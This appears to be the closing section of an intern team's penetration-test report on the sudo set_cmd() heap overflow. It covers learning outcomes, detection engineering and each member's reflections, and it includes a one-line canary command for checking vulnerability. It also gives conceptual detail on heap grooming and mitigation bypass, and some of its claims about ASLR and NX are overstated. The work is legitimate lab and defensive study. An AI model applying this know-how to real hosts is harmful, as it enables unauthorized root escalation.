- CVE lifecycle understanding — from bug introduction (~2011) through Qualys discovery, coordinated disclosure, and public PoC release within 24 hours
- Heap exploitation concepts — understanding glibc malloc tcache, chunk layout, heap grooming via environment variables
- Docker-based lab isolation — building a reproducible, resettable vulnerable environment from source
- Detection engineering — writing auditd, Falco, and Sigma rules from an attacker's perspective
- Reporting — structuring a professional penetration test report with root cause, evidence, and remediation

10.2 Key Takeaways

- Heap vulnerabilities bypass all common compile-time hardening — ASLR, stack canaries, PIE, and RELRO do not protect heap data structures
- Setuid binaries are uniquely dangerous — EUID=0 is set by the kernel before any user-space code executes, so any exploit that redirects execution inside such a binary automatically has root privilege
- Version strings alone are insufficient for patch confirmation — Ubuntu backports patches without bumping the main version number; live testing (canary test) is required
- The authorization check is not always the first thing that runs — `set_cmd()` overflows before sudoers is consulted, which is why no sudo permissions are needed at all

10.3 Intern Reflection

Member 1 — Lab Environment & CVE Verification

Most Challenging: Compiling sudo 1.8.31 from source inside Docker and ensuring the tester user had zero permissions while keeping the environment functional for testing.

What Surprised Me: How simple the Dockerfile was to reproduce a critical CVE. Just compiling the vulnerable binary and creating an unprivileged user was enough — no special configuration needed.

What I'd Investigate Next: Automating lab provisioning with Ansible, and setting up patched vs unpatched containers side by side for direct comparison.

Member 2 — Exploit Development

Most Challenging: Understanding heap grooming — knowing which struct lands adjacent to `cmd_args` requires deep knowledge of glibc's malloc behavior across different versions.

What Surprised Me: That the canary test (`sudoedit -s '\'`) safely confirms the vulnerability without triggering exploitation. One command distinguishes patched from vulnerable systems reliably.

What I'd Investigate Next: Completing the heap strategy implementation for source-compiled binaries using GDB to map the actual heap layout at runtime.

Member 3 — Root Cause Analysis & Research

Most Challenging: Tracing exactly how one byte read past a null terminator in `set_cmd()` produces a heap overflow that bypasses all modern mitigations — ASLR, stack canaries, RELRO, and NX all fail because the overflow is on the heap, not the stack.

What Surprised Me: That the vulnerability bypasses `/etc/sudoers` entirely. The overflow fires before `sudo` ever reads the authorization file — a user with explicitly zero permissions can still trigger it.

What I'd Investigate Next: Analyzing the binary with GDB to tune heap parameters for the source-compiled `sudo`, and studying how Qualys originally discovered this bug — whether through fuzzing or manual code review.

Member 4 — Proof Collection & Reporting

Most Challenging: Assembling evidence from three different members — each working on different timelines — into a single coherent report with consistent formatting and accurate technical descriptions.

What Surprised Me: How much the proof collection phase revealed about the exploit. Running the verification commands showed that even without full LPE, the canary test and framework checks alone are compelling evidence of vulnerability.

What I'd Investigate Next: Learning how professional penetration test reports structure proof of exploitation for clients, and how to present technical findings to both technical and non-technical audiences.